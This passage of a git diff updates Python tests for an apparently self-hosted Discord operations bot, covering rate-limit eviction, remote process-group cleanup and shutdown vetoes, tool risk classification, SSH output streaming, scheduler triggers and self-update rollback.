= await client.get("/api/test") - assert resp.status == 200 - - # Advance time past the window AND past the eviction interval (300s) - mock_time.monotonic.return_value = base_time + _RATE_LIMIT_WINDOW + 301 - - # This request triggers periodic eviction of stale keys - resp = await client.get("/api/test") - assert resp.status == 200 + app = web.Application(middlewares=[_make_rate_limit_middleware(("127.0.0.1",))]) + + async def ok(_request): + return web.Response(text="ok") + app.router.add_get("/api/test", ok) + async with TestClient(TestServer(app)) as client: + await client.get("/api/test", headers={"X-Forwarded-For": "198.51.100.1"}) + await client.get("/api/test", headers={"X-Forwarded-For": "198.51.100.2"}) + mock_time.monotonic.return_value = base_time + 302 + response = await client.get( + "/api/test", headers={"X-Forwarded-For": "198.51.100.2"} + ) + assert response.status == 200 + buckets = dict(zip( + app.middlewares[0].__code__.co_freevars, + (cell.cell_contents for cell in app.middlewares[0].__closure__), + strict=True, + ))["_buckets"] + assert "198.51.100.1" not in buckets + assert "198.51.100.2" in buckets async def test_rate_limit_resets_after_window(self): """After the rate-limit window passes, requests should succeed again.""" @@ -122,18 +131,28 @@ async def test_eviction_only_removes_stale_not_active(self): with patch("src.health.server.time") as mock_time: mock_time.monotonic.return_value = base_time - async with TestClient(TestServer(_make_app())) as client: - # Make initial requests - for _ in range(5): - resp = await client.get("/api/test") - assert resp.status == 200 + app = web.Application(middlewares=[_make_rate_limit_middleware(("127.0.0.1",))]) - # Advance past eviction interval but keep timestamps within window - mock_time.monotonic.return_value = base_time + 301 + async def ok(_request): + return web.Response(text="ok") - # Request should still succeed (timestamps still in window since - # _RATE_LIMIT_WINDOW is 60s, but 301 > 60 so they ARE stale) - # The key point: this request itself creates a fresh entry, so - # the IP is not evicted - resp = await client.get("/api/test") + app.router.add_get("/api/test", ok) + async with TestClient(TestServer(app)) as client: + await client.get("/api/test", headers={"X-Forwarded-For": "198.51.100.1"}) + mock_time.monotonic.return_value = base_time + 290 + for _ in range(5): + await client.get("/api/test", headers={"X-Forwarded-For": "198.51.100.2"}) + # A THIRD client triggers eviction. The retained client cannot + # refresh its own bucket, masking deletion of recent activity. + mock_time.monotonic.return_value = base_time + 302 + resp = await client.get("/api/test", headers={"X-Forwarded-For": "198.51.100.3"}) assert resp.status == 200 + middleware = app.middlewares[0] + buckets = dict(zip( + middleware.__code__.co_freevars, + (cell.cell_contents for cell in middleware.__closure__), + strict=True, + ))["_buckets"] + assert "198.51.100.1" not in buckets + assert buckets["198.51.100.2"] == [base_time + 290] * 5 + assert buckets["198.51.100.3"] == [base_time + 302] diff --git a/tests/test_recovery.py b/tests/test_recovery.py index 0aeb760ad..7dcf2db7d 100644 --- a/tests/test_recovery.py +++ b/tests/test_recovery.py @@ -476,6 +476,8 @@ async def _handler(inp): summary = executor.recovery_stats.get_summary() assert summary["totals"]["attempts"] == 1 assert summary["totals"]["successes"] == 1 + assert result.ok and result.uncertain_outcome + assert result.error is None @pytest.mark.asyncio async def test_recovery_failure_on_persistent_error(self, executor): diff --git a/tests/test_remote_process_cleanup.py b/tests/test_remote_process_cleanup.py new file mode 100644 index 000000000..367a7e49b --- /dev/null +++ b/tests/test_remote_process_cleanup.py @@ -0,0 +1,157 @@ +"""F5: real remote worker/controller settlement in disposable process groups.""" + +import asyncio +import json +import sys +from unittest.mock import AsyncMock + +import pytest + +from src.tools.process_manager import _REMOTE_CONTROLLER, ProcessRegistry +from tests.test_remote_process_streaming import _remote_job + + +@pytest.mark.asyncio +@pytest.mark.parametrize("exit_code,status", [(0, "completed"), (17, "failed")]) +async def test_real_remote_exit_retires_with_scoped_cleanup(tmp_path, exit_code, status): + producer = f"import sys; print('finished', flush=True); sys.exit({exit_code})" + async with _remote_job(tmp_path, producer) as (reg, info, lease, supervisor): + await asyncio.wait_for(supervisor.wait(), 5) + result = await reg.poll(info.pid) + assert f"status={status} exit_code={exit_code}" in result + assert "outcome_unknown=true" not in result + record = json.loads((tmp_path / "exit.json").read_text()) + assert record["empty"] is True and record["group_empty"] is True + assert info.containment == record["containment"] == "process_group_only" + assert info.session_confirmed_empty and info.remote_lease is None + assert lease.release_count == 1 + page = json.loads(await reg.poll(info.pid, cursor=info.generation + ":0")) + assert page["text"] == "finished\n" + assert page["cleanup_caveat"] == "escaped descendants are unverified" + + +@pytest.mark.asyncio +@pytest.mark.parametrize("legacy", [False, True]) +async def test_real_controller_kill_of_unpolled_exited_job(tmp_path, legacy): + async with _remote_job(tmp_path, "print('finished')") as (reg, info, lease, supervisor): + await asyncio.wait_for(supervisor.wait(), 5) + if legacy: + # Existing workers predate F5 and wrote contradictory empty=False. + path = tmp_path / "exit.json" + record = json.loads(path.read_text()) + record["empty"] = False + path.write_text(json.dumps(record)) + result = await reg.kill(info.pid) + assert "already exited" in result and "outcome_unknown=true" not in result + assert "containment=process_group_only" in result + assert "escaped descendants are unverified" in result + assert info.status == "completed" and info.session_confirmed_empty + assert lease.release_count == 1 and info.remote_lease is None + assert "status=completed exit_code=0" in await reg.poll(info.pid) + + +@pytest.mark.asyncio +async def test_real_controller_kill_verifies_group_and_preserves_killed_on_poll(tmp_path): + producer = "import sys; print('waiting', flush=True); sys.stdin.readline()" + async with _remote_job(tmp_path, producer) as (reg, info, lease, supervisor): + # The producer cannot exit until it receives input or our scoped signal. + assert supervisor.returncode is None + info.transport_unknown = True # A later verified outcome settles uncertainty. + result = await reg.kill(info.pid) + assert result.startswith("Process -1 killed.") + assert "outcome_unknown=true" not in result + assert "containment=process_group_only" in result + assert info.status == "killed" and info.session_confirmed_empty + assert not info.transport_unknown + assert lease.release_count == 1 and info.remote_lease is None + await asyncio.wait_for(supervisor.wait(), 5) + record = json.loads((tmp_path / "exit.json").read_text()) + assert record["group_empty"] is True + result = await reg.poll(info.pid) + assert "status=killed" in result and "outcome_unknown=true" not in result + + +@pytest.mark.asyncio +async def test_real_controller_unverified_cleanup_retains_execution_authority(tmp_path): + async with _remote_job(tmp_path, "print('finished')") as (reg, info, lease, supervisor): + await asyncio.wait_for(supervisor.wait(), 5) + path = tmp_path / "exit.json" + record = json.loads(path.read_text()) + record.update(empty=False, group_empty=False) + path.write_text(json.dumps(record)) + assert "status=unknown" in await reg.poll(info.pid) + result = await reg.kill(info.pid) + assert "Failed to kill" in result and "outcome_unknown=true" in result + assert info.transport_unknown and not info.session_confirmed_empty + assert info.remote_lease is lease and lease.release_count == 0 + # Restore honest evidence and show that a successful observation recovers. + record.update(empty=True, group_empty=True) + path.write_text(json.dumps(record)) + result = await reg.poll(info.pid) + assert "status=completed" in result and "outcome_unknown=true" not in result + assert info.remote_lease is None and lease.release_count == 1 + + +@pytest.mark.asyncio +@pytest.mark.parametrize("operation", ["poll", "kill"]) +async def test_transport_failure_stays_unknown_without_retiring_authority(tmp_path, operation): + async with _remote_job(tmp_path, "print('finished')") as (reg, info, lease, supervisor): + await asyncio.wait_for(supervisor.wait(), 5) + reg._remote_exec = AsyncMock(side_effect=ConnectionError("link lost")) + result = await getattr(reg, operation)(info.pid) + assert "outcome_unknown=true" in result and "SSH transport failed" in result + assert info.transport_unknown and not info.session_confirmed_empty + assert info.remote_lease is lease and lease.release_count == 0 + + +@pytest.mark.parametrize("record", [ + {"ok": True, "empty": True, "containment": "process_group_only"}, + {"ok": True, "empty": True, "group_empty": 1, "containment": "process_group_only"}, + {"ok": True, "empty": True, "group_empty": False, "containment": "process_group_only"}, + {"ok": True, "empty": True, "group_empty": True, + "containment": "process_group_only", "unknown": True}, +]) +def test_group_only_cleanup_requires_literal_scoped_evidence(record): + assert not ProcessRegistry._remote_cleanup_proven(record) + + +@pytest.mark.asyncio +@pytest.mark.parametrize("mode", ["alive", "permission", "empty_without_record"]) +async def test_actual_controller_probe_failures_and_delayed_record(tmp_path, mode): + # Run the real helper parser/logic with only kernel probes/signals replaced. + # No fixture PID can reach a real signaling syscall. + (tmp_path / "ready.json").write_text(json.dumps({ + "token": "fixture", "pid": 101, "pgid": 101, "sid": 99, "start_id": "", + })) + boundary = ( + "import os,time\n" + "os.getpgid=lambda pid: 101\n" + "os.getsid=lambda pid: 99\n" + "clock=iter(range(10000))\n" + "time.monotonic=lambda: next(clock)\n" + "time.sleep=lambda seconds: None\n" + f"mode={mode!r}\n" + "def probe(pgid,sig):\n" + " assert pgid == 101\n" + " if sig: return\n" + " if mode == 'empty_without_record': raise ProcessLookupError\n" + " if mode == 'permission': raise PermissionError\n" + "os.killpg=probe\n" + ) + controller = await asyncio.create_subprocess_exec( + sys.executable, "-c", boundary + _REMOTE_CONTROLLER, + str(tmp_path), "fixture", "kill", "", "0", + stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.STDOUT, + ) + output, _ = await asyncio.wait_for(controller.communicate(), 5) + reply = json.loads(output) + if mode == "empty_without_record": + assert controller.returncode == 0 and reply["ok"] is True + assert reply["killed"] is True and reply["exit"] is None + assert ProcessRegistry._remote_cleanup_proven(reply) + assert reply["containment"] == "process_group_only" + else: + assert controller.returncode == 9 and reply["ok"] is False + assert reply["unknown"] is True + assert "group still exists" in reply["error"] + assert not ProcessRegistry._remote_cleanup_proven(reply) diff --git a/tests/test_remote_process_streaming.py b/tests/test_remote_process_streaming.py index 0295e78d1..dc5ea888f 100644 --- a/tests/test_remote_process_streaming.py +++ b/tests/test_remote_process_streaming.py @@ -158,6 +158,9 @@ async def test_remote_slow_producer_streams_before_exit_and_advances_cursor(tmp_ terminal = await registry.poll(-1, wait_seconds=5) assert "status=completed exit_code=0" in terminal + assert "outcome_unknown=true" not in terminal + assert '"containment":"process_group_only"' in terminal + assert "escaped descendants are unverified" in terminal display = terminal.split("\n[output retention] ")[0].split("\n", 1)[1] assert display == (expected + b"done\n").decode() assert info.remote_cursor == info.total_output_bytes == len(expected + b"done\n") @@ -189,6 +192,7 @@ async def test_remote_streaming_preserves_disk_cap_and_bounded_cursor_reads(tmp_ await asyncio.wait_for(supervisor.wait(), 5) record = json.loads((tmp_path / "exit.json").read_text()) assert record["exit_code"] == 0 and record["empty"] + assert record["group_empty"] and record["containment"] == "process_group_only" assert not record["timed_out"] and record["output_truncated"] assert record["emitted"] == cap + 65536 assert out.stat().st_size == cap diff --git a/tests/test_remote_processes.py b/tests/test_remote_processes.py index 2f2f16bdf..f8042288c 100644 --- a/tests/test_remote_processes.py +++ b/tests/test_remote_processes.py @@ -50,6 +50,7 @@ def _remote_info( host=host, start_time=time.time() - 2, status=status, + session_confirmed_empty=status in {"completed", "failed", "killed"}, remote=True, remote_dir=remote_dir, remote_pid=101, @@ -68,6 +69,10 @@ def _start_token(command: str) -> str: def _reply(**values: object) -> tuple[int, str]: + if values.get("empty") is True: + values["containment"] = "owned_descendants" + if values.get("status") == "exited": + values["exit"] = {**values["exit"], "empty": True, "containment": "owned_descendants"} return 0, json.dumps({"ok": True, **values}) @@ -121,7 +126,7 @@ async def remote_exec(_target, _command, _timeout): assert expected in response assert lease.release_count == 1 assert len(calls) == 2 - assert "rm -rf" in calls[1] + assert calls[1].endswith("kill '' 0") @pytest.mark.asyncio @@ -159,8 +164,10 @@ async def remote_exec(_target, command, _timeout): await resume.wait() token = _start_token(command) return _reply(token=token, pid=101, pgid=101, sid=99, start_id="77") - assert " kill '' 0;" in command - return (0 if cleanup_ok else 1), "cleanup" + assert command.endswith(" kill '' 0") + return (0 if cleanup_ok else 1), json.dumps({ + "ok": cleanup_ok, "empty": cleanup_ok, "containment": "owned_descendants", + }) lease = _Lease("prod") registry = ProcessRegistry(remote_exec=remote_exec) @@ -475,6 +482,6 @@ async def kill(pid): monkeypatch.setattr("src.tools.process_manager.asyncio.sleep", no_wait) monkeypatch.setattr(registry, "kill", kill) - await registry._enforce_lifetime(-1, 1) + await registry._enforce_lifetime(registry._processes[-1], 1) assert killed == [-1] diff --git a/tests/test_resource_usage.py b/tests/test_resource_usage.py index 202761f95..811cbb236 100644 --- a/tests/test_resource_usage.py +++ b/tests/test_resource_usage.py @@ -297,7 +297,7 @@ def test_with_sessions(self): session2.summary = "" _mock_sessions(bot, {"ch1": session1, "ch2": session2}) bot.sessions.token_budget = 128000 - bot.sessions.persist_directory = "/nonexistent/sessions" + bot.sessions.persist_dir = "/nonexistent/sessions" stats = collect_session_stats(bot) assert stats.active_count == 2 assert stats.total_tokens == 13000 @@ -313,7 +313,7 @@ def test_over_budget_sessions(self): session1.summary = "" _mock_sessions(bot, {"ch1": session1}) bot.sessions.token_budget = 128000 - bot.sessions.persist_directory = "/nonexistent" + bot.sessions.persist_dir = "/nonexistent" stats = collect_session_stats(bot) assert stats.over_budget_count == 1 @@ -325,7 +325,7 @@ def test_per_session_data(self): session1.summary = "has summary" _mock_sessions(bot, {"chan_42": session1}) bot.sessions.token_budget = 128000 - bot.sessions.persist_directory = "/nonexistent" + bot.sessions.persist_dir = "/nonexistent" stats = collect_session_stats(bot) assert len(stats.per_session) == 1 ps = stats.per_session[0] @@ -342,7 +342,7 @@ def test_zero_token_budget(self): session1.summary = "" _mock_sessions(bot, {"ch1": session1}) bot.sessions.token_budget = 0 - bot.sessions.persist_directory = "/nonexistent" + bot.sessions.persist_dir = "/nonexistent" stats = collect_session_stats(bot) assert stats.over_budget_count == 0 @@ -358,7 +358,7 @@ def test_persist_dir_scanning(self): bot.sessions.token_budget = 128000 with tempfile.TemporaryDirectory() as td: (Path(td) / "sess.json").write_text("{}") - bot.sessions.persist_directory = td + bot.sessions.persist_dir = td stats = collect_session_stats(bot) assert stats.persist_dir.file_count == 1 @@ -594,7 +594,7 @@ def _make_bot(self): bot = MagicMock() _mock_sessions(bot, {}) bot.sessions.token_budget = 128000 - bot.sessions.persist_directory = "/nonexistent/sessions" + bot.sessions.persist_dir = "/nonexistent/sessions" bot.knowledge = None bot.trajectory_saver = None bot.agent_trajectory_saver = None @@ -621,7 +621,7 @@ def test_storage_total_aggregation(self): bot = self._make_bot() with tempfile.TemporaryDirectory() as td: (Path(td) / "file.json").write_text("x" * 1000) - bot.sessions.persist_directory = td + bot.sessions.persist_dir = td result = collect_all(bot) assert result["storage_total_bytes"] >= 1000 @@ -666,7 +666,7 @@ def test_with_all_subsystems(self): session1.summary = "" _mock_sessions(bot, {"ch1": session1}) bot.sessions.token_budget = 128000 - bot.sessions.persist_directory = "/nonexistent" + bot.sessions.persist_dir = "/nonexistent" bot.knowledge.available = True bot.knowledge.count.return_value = 50 @@ -695,7 +695,7 @@ def _make_bot(): bot.guilds = [] _mock_sessions(bot, {}) bot.sessions.token_budget = 128000 - bot.sessions.persist_directory = "/nonexistent" + bot.sessions.persist_dir = "/nonexistent" bot.sessions.get_session_token_usage.return_value = {} bot.sessions.get_token_metrics.return_value = {} bot.sessions.get_activity_metrics.return_value = {} @@ -850,7 +850,7 @@ def test_session_stats_no_persist_dir_attr(self): bot = MagicMock() _mock_sessions(bot, {}) bot.sessions.token_budget = 0 - del bot.sessions.persist_directory + del bot.sessions.persist_dir stats = collect_session_stats(bot) assert isinstance(stats.persist_dir, DirStats) @@ -879,7 +879,7 @@ def test_collect_all_storage_total_sums(self): bot.sessions.token_budget = 0 with tempfile.TemporaryDirectory() as td: (Path(td) / "s1.json").write_text("x" * 500) - bot.sessions.persist_directory = td + bot.sessions.persist_dir = td bot.knowledge = None bot.trajectory_saver = None bot.agent_trajectory_saver = None diff --git a/tests/test_restored_process_shutdown.py b/tests/test_restored_process_shutdown.py new file mode 100644 index 000000000..0eb1b4360 --- /dev/null +++ b/tests/test_restored_process_shutdown.py @@ -0,0 +1,109 @@ +"""Retained evidence from a previous image must not veto this image's exec.""" + +import json +import time +from types import SimpleNamespace +from unittest.mock import AsyncMock + +import pytest + +from src import restart +from src.discord.wiring import shutdown_services +from src.tools.process_manager import ProcessCleanupError, ProcessInfo, ProcessRegistry + + +@pytest.fixture(autouse=True) +def isolated_retention(monkeypatch): + # Restoring real manifests schedules 24-hour evidence expiry, not execution. + monkeypatch.setattr("src.async_utils.fire_and_forget", lambda coro, **kw: coro.close()) + restart.reset() + yield + restart.reset() + + +@pytest.mark.parametrize("remote", [True, False], ids=["remote", "local"]) +@pytest.mark.parametrize("legacy", [True, False], ids=["v4.10.0", "current"]) +async def test_restored_completed_manifest_does_not_veto_shutdown( + tmp_path, monkeypatch, caplog, remote, legacy, +): + now = time.time() + generation = "a" * 32 + # Exact v4.10.0 _persist_output keys: settlement proof was NOT persisted. + record = { + "pid": -2 if remote else 12345, + "generation": generation, + "host": "server" if remote else "localhost", + "host_alias": "server" if remote else "localhost", + "host_identity": "fixture-identity", + "owner_id": "fixture-owner", + "start_time": now - 120, + "status": "completed", + "exit_code": 0, + "total_output_bytes": 0, + "retained_bytes": 0, + "finished_at": now - 60, + "capture_error": None, + "remote": remote, + "remote_dir": "/tmp/fixture-retained-job" if remote else "", + "remote_token": "fixture-token" if remote else "", + "output_revoked": False, + "output_masked": False, + "origin_channel": "fixture-channel", + "scope_id": "fixture-scope", + "host_binding": None, + "reserved_bytes": 0, + } + if not legacy: + record.update(session_confirmed_empty=False, containment="") + manifest = tmp_path / f"{generation}.json" + manifest.write_text(json.dumps(record, separators=(",", ":"))) + original_manifest = manifest.read_bytes() + registry = ProcessRegistry(retention_dir=tmp_path) + info = registry.output_info(record["pid"]) + assert info is not None and info.restored + assert info.remote is remote and info.status == "completed" and info.exit_code == 0 + assert not info.session_confirmed_empty + assert info.process is None and info.remote_lease is None and info.host_lease is None + + # No termination or transport may be attempted for read-only evidence. + guards = [] + for name in ("terminate_generation", "_kill_remote", "_kill_group_until_gone", "_remote_call"): + guard = AsyncMock(side_effect=AssertionError("retained evidence is read-only")) + monkeypatch.setattr(registry, name, guard) + guards.append(guard) + + assert await registry.shutdown() == 0 + bot = SimpleNamespace(tool_executor=SimpleNamespace(_process_registry=registry)) + await shutdown_services(bot) + assert restart.reexec_blocked() is None + assert "cleanup could not be verified" not in caplog.text.lower() + assert "restart vetoed" not in caplog.text.lower() + assert registry.output_info(info.pid) is info + assert not info.session_confirmed_empty # Exemption is not fabricated cleanup proof. + assert manifest.read_bytes() == original_manifest + for guard in guards: + guard.assert_not_awaited() + + +@pytest.mark.parametrize("status", ["running", "completed"]) +async def test_live_remote_unproven_cleanup_still_vetoes_shutdown(monkeypatch, status): + registry = ProcessRegistry() + info = ProcessInfo( + pid=-3, command="fixture", host="server", start_time=time.time(), + remote=True, status=status, exit_code=0 if status == "completed" else None, + ) + registry._processes[info.pid] = info + registry._retained_generations[info.generation] = info + # The real remote-kill path gets a successful transport response but no + # affirmative settlement proof. Terminal status alone is still insufficient. + remote_call = AsyncMock(return_value=(0, json.dumps({"ok": True, "already_exited": True}))) + monkeypatch.setattr(registry, "_remote_call", remote_call) + with pytest.raises(ProcessCleanupError, match=r"PID\(s\) \[-3\]"): + await registry.shutdown() + remote_call.assert_awaited_once() + assert not info.restored and not info.session_confirmed_empty + + bot = SimpleNamespace(tool_executor=SimpleNamespace(_process_registry=registry)) + await shutdown_services(bot) + assert "process cleanup unverified" in restart.reexec_blocked() + assert "[-3]" in restart.reexec_blocked() diff --git a/tests/test_risk_classifier.py b/tests/test_risk_classifier.py index e4ba5a68b..b89471aa8 100644 --- a/tests/test_risk_classifier.py +++ b/tests/test_risk_classifier.py @@ -529,9 +529,9 @@ def test_none_input(self): a = classify_tool("read_file") assert a.level == RiskLevel.LOW - def test_manage_process_medium(self): + def test_manage_process_start_high(self): a = classify_tool("manage_process", {"action": "start", "command": "sleep 10"}) - assert a.level == RiskLevel.MEDIUM + assert a.level == RiskLevel.HIGH def test_browser_read_page_low(self): a = classify_tool("browser_read_page", {"url": "https://example.com"}) diff --git a/tests/test_round40_reviewer.py b/tests/test_round40_reviewer.py index 60f1b3514..f11d3d54e 100644 --- a/tests/test_round40_reviewer.py +++ b/tests/test_round40_reviewer.py @@ -93,7 +93,7 @@ async def test_proc_wait_is_bounded(self, monkeypatch): from src.tools.ssh import _read_lines_with_callback proc = AsyncMock() - proc.stdout.readline = AsyncMock(side_effect=[b"line\n", b""]) + proc.stdout.read = AsyncMock(side_effect=[b"line\n", b""]) proc.returncode = 0 # Make proc.wait() hang — the bounded timeout must fire and hand the @@ -136,7 +136,7 @@ async def test_proc_wait_completes_normally(self): from src.tools.ssh import _read_lines_with_callback proc = AsyncMock() - proc.stdout.readline = AsyncMock(side_effect=[b"ok\n", b""]) + proc.stdout.read = AsyncMock(side_effect=[b"ok\n", b""]) proc.wait = AsyncMock(return_value=0) proc.returncode = 0 @@ -152,40 +152,41 @@ async def test_proc_wait_completes_normally(self): class TestReadLinesCallbackLogging: - """on_output callback errors should be logged, not silently ignored.""" + """Consumer errors must reap owned execution and propagate, not fake success.""" @pytest.mark.asyncio async def test_callback_error_logged(self): from src.tools.ssh import _read_lines_with_callback proc = AsyncMock() - proc.stdout.readline = AsyncMock(side_effect=[b"data\n", b""]) + proc.stdout.read = AsyncMock(side_effect=[b"data\n", b""]) proc.wait = AsyncMock(return_value=0) proc.returncode = 0 cb = AsyncMock(side_effect=ValueError("callback broke")) - with patch("src.tools.ssh.log") as mock_log: - code, output = await _read_lines_with_callback(proc, timeout=10, on_output=cb) - assert code == 0 - mock_log.debug.assert_called() + with patch("src.tools.ssh.terminate_process_tree", new_callable=AsyncMock) as reap: + with pytest.raises(ValueError, match="callback broke"): + await _read_lines_with_callback(proc, timeout=10, on_output=cb) + reap.assert_awaited_once_with(proc, owned_pgid=None) @pytest.mark.asyncio async def test_callback_error_does_not_lose_data(self): from src.tools.ssh import _read_lines_with_callback proc = AsyncMock() - proc.stdout.readline = AsyncMock( + proc.stdout.read = AsyncMock( side_effect=[b"line1\n", b"line2\n", b""], ) proc.wait = AsyncMock(return_value=0) proc.returncode = 0 cb = AsyncMock(side_effect=[ValueError("broke"), None]) - code, output = await _read_lines_with_callback(proc, timeout=10, on_output=cb) - # Both lines should be in output despite callback error on line1 - assert "line1" in output - assert "line2" in output + with patch("src.tools.ssh.terminate_process_tree", new_callable=AsyncMock) as reap: + with pytest.raises(ValueError, match="broke"): + await _read_lines_with_callback(proc, timeout=10, on_output=cb) + reap.assert_awaited_once_with(proc, owned_pgid=None) + cb.assert_awaited_once_with("line1\n") # --------------------------------------------------------------------------- @@ -390,9 +391,11 @@ class TestAuxiliaryLLMCostTrackingEdge: @pytest.mark.asyncio async def test_cost_tracking_with_missing_token_attrs(self): + from types import SimpleNamespace + from src.llm.auxiliary import AuxiliaryLLMClient - aux = AsyncMock() + aux = SimpleNamespace(generation_lease=None) aux.model = "gpt-4o-mini" aux.chat = AsyncMock(return_value="result") aux.breaker = MagicMock() @@ -401,13 +404,15 @@ async def test_cost_tracking_with_missing_token_attrs(self): aux._last_input_tokens = 10 aux._last_output_tokens = 20 - primary = AsyncMock() + primary = SimpleNamespace(chat=AsyncMock()) primary.model = "gpt-4o" primary.generation_lease = None # legacy fake, not a lifecycle-aware provider tracker = MagicMock() client = AuxiliaryLLMClient(aux, primary, cost_tracker=tracker) await client.chat([{"role": "user", "content": "hi"}], "system", task="compaction") + aux.chat.assert_awaited_once() + primary.chat.assert_not_awaited() tracker.record.assert_called_once() call_kwargs = tracker.record.call_args assert call_kwargs[1]["model"] == "gpt-4o-mini" diff --git a/tests/test_scheduled_events.py b/tests/test_scheduled_events.py index b626cfe2b..be5d64688 100644 --- a/tests/test_scheduled_events.py +++ b/tests/test_scheduled_events.py @@ -345,7 +345,7 @@ async def test_strict_workflow_checks_skill_target_permission(self): h = _handlers(tool_executor=executor) h._tool_loop._tool_catalog = SimpleNamespace(merged_definitions=lambda: [{ "name": "invoke_skill", "input_schema": {"type": "object"}, - }]) + }, {"name": "private", "input_schema": {"type": "object"}}]) result = await h._run_scheduled_workflow(_channel(), { "description": "strict", "requester_id": "u", "_nested_payload_validated": True, "steps": [{"tool_name": "invoke_skill", "tool_input": {"name": "private"}}], diff --git a/tests/test_scheduler.py b/tests/test_scheduler.py index a2b76d478..de2d5ae84 100644 --- a/tests/test_scheduler.py +++ b/tests/test_scheduler.py @@ -370,48 +370,15 @@ async def test_tick_callback_error_does_not_crash(self, tmp_path): # --------------------------------------------------------------------------- class TestSchedulerFireTriggers: - async def test_named_grafana_trigger_matches_any_alert_in_batch(self, tmp_path): + async def test_removed_trigger_source_is_rejected_for_new_schedules(self, tmp_path): s = _make_scheduler(tmp_path) - cb = AsyncMock() - s._callback = cb - - await s.add( - "second alert", "reminder", "chan1", - trigger={"source": "grafana", "event": "alert", "alert_name": "second"}, - ) - await s.add( - "catch all", "reminder", "chan1", - trigger={"source": "grafana", "event": "alert"}, - ) - await s.add( - "wrong event", "reminder", "chan1", - trigger={"source": "grafana", "event": "resolved", "alert_name": "second"}, - ) - await s.add( - "absent", "reminder", "chan1", - trigger={"source": "grafana", "event": "alert", "alert_name": "missing"}, - ) - - fired = await s.fire_triggers("grafana", { - "event": "alert", "alert_name": "FIRST", - "alert_names": ["FIRST", "Second CPU"], - }) - assert fired == 2 - assert cb.await_count == 2 + with pytest.raises(ValueError, match="Invalid trigger source"): + await s.add("removed", "reminder", "chan1", trigger={"source": "grafana"}) - async def test_single_name_event_data_still_matches(self, tmp_path): + async def test_removed_alert_filter_is_rejected_for_new_schedules(self, tmp_path): s = _make_scheduler(tmp_path) - cb = AsyncMock() - s._callback = cb - await s.add( - "legacy", "reminder", "chan1", - trigger={"source": "grafana", "event": "alert", "alert_name": "highcpu"}, - ) - - assert await s.fire_triggers("grafana", { - "event": "alert", "alert_name": "HighCPU", - }) == 1 - cb.assert_awaited_once() + with pytest.raises(ValueError, match="Unknown trigger keys"): + await s.add("removed", "reminder", "chan1", trigger={"alert_name": "cpu"}) async def test_fire_triggers_matching(self, tmp_path): s = _make_scheduler(tmp_path) diff --git a/tests/test_scheduler_agents_reliability.py b/tests/test_scheduler_agents_reliability.py index c252a3ba4..3143244b6 100644 --- a/tests/test_scheduler_agents_reliability.py +++ b/tests/test_scheduler_agents_reliability.py @@ -25,7 +25,7 @@ from src.planning.store import PlanStore from src.scheduler.scheduler import Scheduler, _cron_next_run -from src.tools.autonomous_loop import LoopInfo, LoopManager +from src.tools.autonomous_loop import LoopInfo, LoopIterationResult, LoopManager # --------------------------------------------------------------------------- # 2.3 — autonomous-loop error backoff @@ -47,7 +47,7 @@ async def send(self, *_a, **_k): async def test_error_iterations_back_off_and_do_not_skip_wait(monkeypatch): - """Every failing iteration must wait (exponential backoff) before retrying; + """Every retried failing iteration must wait (exponential backoff); the old `continue` skipped the wait entirely and hammered the endpoint.""" manager = LoopManager() info = _loop_info(interval_seconds=10, max_iterations=3) @@ -64,8 +64,9 @@ async def _always_fail(_prompt, _channel, _prev, _cancel): await manager._run_loop(info, _SilentChannel(), _always_fail) - # One wait per failed iteration, growing: 10·2¹, 10·2², 10·2³. - assert waits == [20, 40, 80] + # Back off before retries, but never sleep after exhausting the cap. + assert waits == [20, 40] + assert info.status == "completed" async def test_successful_iteration_waits_plain_interval(monkeypatch): @@ -80,10 +81,11 @@ async def _record_wait(_info, seconds): monkeypatch.setattr(manager, "_interruptible_wait", _record_wait) async def _ok(_prompt, _channel, _prev, _cancel): - return "done" + return LoopIterationResult("done") await manager._run_loop(info, _SilentChannel(), _ok) - assert waits == [15, 15] # no backoff on success + assert waits == [15] # no backoff or unnecessary terminal sleep + assert info.status == "completed" # --------------------------------------------------------------------------- @@ -516,8 +518,8 @@ async def test_loop_calibration_releases_when_owner_task_settles(monkeypatch): monkeypatch.setattr(manager, "_interruptible_wait", wait) async def _ok(_prompt, _channel, _prev, _cancel): - return "done" + return LoopIterationResult("done") await manager._run_loop(info, _SilentChannel(), _ok) assert released == [info.id] - wait.assert_awaited_once_with(info, info.interval_seconds) + wait.assert_not_awaited() diff --git a/tests/test_scheduler_validation.py b/tests/test_scheduler_validation.py index 90290fa62..3fe937ecb 100644 --- a/tests/test_scheduler_validation.py +++ b/tests/test_scheduler_validation.py @@ -90,13 +90,13 @@ class TestTriggerMatches: def test_field_matching(self, sched): m = sched._trigger_matches # source mismatch → False - assert m({"source": "gitea"}, "grafana", {}) is False + assert m({"source": "gitea"}, "github", {}) is False # exact-match fields assert m({"event": "push"}, "gitea", {"event": "push"}) is True assert m({"event": "push"}, "gitea", {"event": "pull"}) is False # substring (case-insensitive) fields assert m({"repo": "Odin"}, "gitea", {"repo": "calmingstorm/odin"}) is True - assert m({"alert_name": "cpu"}, "grafana", {"alert_name": "High CPU"}) is True + assert m({"alert_name": "cpu"}, "generic", {}) is False # empty trigger with any source → matches (no conditions) assert m({}, "generic", {}) is True diff --git a/tests/test_self_audit_fixes.py b/tests/test_self_audit_fixes.py index 5f30b3802..b311fa2a7 100644 --- a/tests/test_self_audit_fixes.py +++ b/tests/test_self_audit_fixes.py @@ -11,11 +11,11 @@ import pytest # ==================================================================== -# Finding #1 — Grafana webhook fail-close +# Finding #1 — Shared-secret webhook fail-close # ==================================================================== -class TestGrafanaWebhookFailClose: - """_webhook_grafana and _webhook_generic used to accept +class TestSharedSecretWebhookFailClose: + """_webhook_generic used to accept unauthenticated POSTs whenever the shared secret was empty. _verify_shared_secret now fails closed.""" diff --git a/tests/test_self_update_campaign_rollback.py b/tests/test_self_update_campaign_rollback.py new file mode 100644 index 000000000..320f624ac --- /dev/null +++ b/tests/test_self_update_campaign_rollback.py @@ -0,0 +1,209 @@ +"""All updater side effects mocked; only disposable operator bytes are written.""" +import subprocess +from types import SimpleNamespace +from unittest.mock import Mock + +import pytest +from aiohttp import web +from aiohttp.test_utils import TestClient, TestServer + +from src.web.api.self_update import register_self_update + + +@pytest.mark.asyncio +@pytest.mark.parametrize("stage", ["config", "fetch", "merge", "pip"]) +@pytest.mark.parametrize("rollback_raises", [False, True, "nonzero"]) +@pytest.mark.parametrize("failure_kind", ["exception", "nonzero"]) +async def test_update_exceptions_restore_bytes_even_if_rollback_fails( + tmp_path, monkeypatch, stage, rollback_raises, failure_kind, +): + 